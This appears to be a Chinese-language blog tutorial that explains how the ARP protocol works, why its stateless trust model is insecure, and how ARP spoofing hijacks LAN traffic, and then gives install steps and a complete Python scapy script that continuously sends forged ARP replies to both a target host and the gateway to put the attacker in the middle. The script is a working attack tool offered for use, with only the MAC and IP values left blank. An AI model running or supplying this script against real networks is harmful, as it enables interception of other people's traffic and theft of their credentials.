arp协议
ARP协议(address resolution protocol)地址解析协议
一台主机和另一台主机通信,要知道目标的IP地址,但网卡不能直接识别IP地址,所以用ARP解析协议将IP地址解析成MAC地址。
ARP协议的基本功能就是通过目标设备的IP地址,来查询目标设备的mac地址。
arp缓存表
在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照关系。ARP缓存
表的生命周期是有时限的(一般不超过20分钟)。
windows系统查看arp缓存表命令:
arp -a
ARP协议的缺陷
ARP协议是建立在信任局域网内所有节点的基础上的,他的效率很高。但是不安全。它是无状态的协议。他不会检查自己是否发过请求包,
也不知道自己是否发过请求包。他也不管是否合法的应答,只要收到目标mac地址是自己的ARP reply或者ARP广播包(包括ARP reply和ARP request),
都会接受并缓存。
ARP攻击原理
ARP欺骗攻击建立在局域网主机间相互信任的基础上的
当A发广播询问:我想知道IP是192.168.0.3的硬件地址是多少?
此时B当然会回话:我是IP192.168.0.3我的硬件地址是mac-b,
可是此时IP地址是192.168.0.4的C也非法回了:我是IP192.168.0.3,我的硬件地址是mac-c。而且是大量的。
所以A就会误信192.168.0.3的硬件地址是mac-c,而且动态更新缓存表
这样主机C就劫持了主机A发送给主机B的数据,这就是ARP欺骗的过程。
假如C直接冒充网关,此时主机C会不停的发送ARP欺骗广播,大声说:我的IP是192.168.0.1,我的硬件地址是mac-c,
此时局域网内所有主机都被欺骗,更改自己的缓存表,此时C将会监听到整个局域网发送给互联网的数据报。
ARP病毒攻击症状
通常表现:
- 打开网页速度非常慢,甚至打不开
- 提示IP地址冲突
- 甚至导致局域网瘫痪
- 一般会绑定木马病毒,窃取用户账号密码
python实现arp攻击
安装scapy
当前最新版本是2.4.2
安装官方:https://pypi.org/project/scapy/
文档地址:https://scapy.readthedocs.io/en/latest/installation.html#installing-scapy-v2-x
安装命令
pip install scapy
安装npcap
scapy2.4.2版本底层依赖npcap,所以需要安装npcap
下载地址:https://nmap.org/npcap/#download
代码
import threading,time
from scapy.all import (
ARP,
Ether,
sendp
)
import traceback
def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
'''
生成ARP数据包,伪造网关欺骗目标计算机
srcMac:本机的MAC地址,充当中间人
tgtMac:目标计算机的MAC
gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
tgtIP:目标计算机的IP
op=2,表示ARP响应
'''
pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
return pkt
def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
'''
生成ARP数据包,伪造目标计算机欺骗网关
srcMac:本机的MAC地址,充当中间人
gatewayMac:网关的MAC
tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gatewayIP:网关的IP
op=2,表示ARP响应
'''
pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
return pkt
def arp():
try:
srcMac=''#本机mac
tgtMac=''#目标mac
gatewayMac=''#网关mac
gatewayIP=''#网关ip
tgtIP=''#目标ip
pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
while True:
t = threading.Thread(target=sendp,args=(pktstation,))
t.start()
t.join()
s = threading.Thread(target=sendp,args=(pktgateway,))
s.start()
s.join()
time.sleep(1)#一般休眠1秒即可,如果不行,修改为0.1秒
except Exception as g:
traceback.print_exc()
exit()
arp()
感谢:
https://www.cnblogs.com/manue1/p/4462327.html
https://www.cnblogs.com/darkpig/p/5866077.html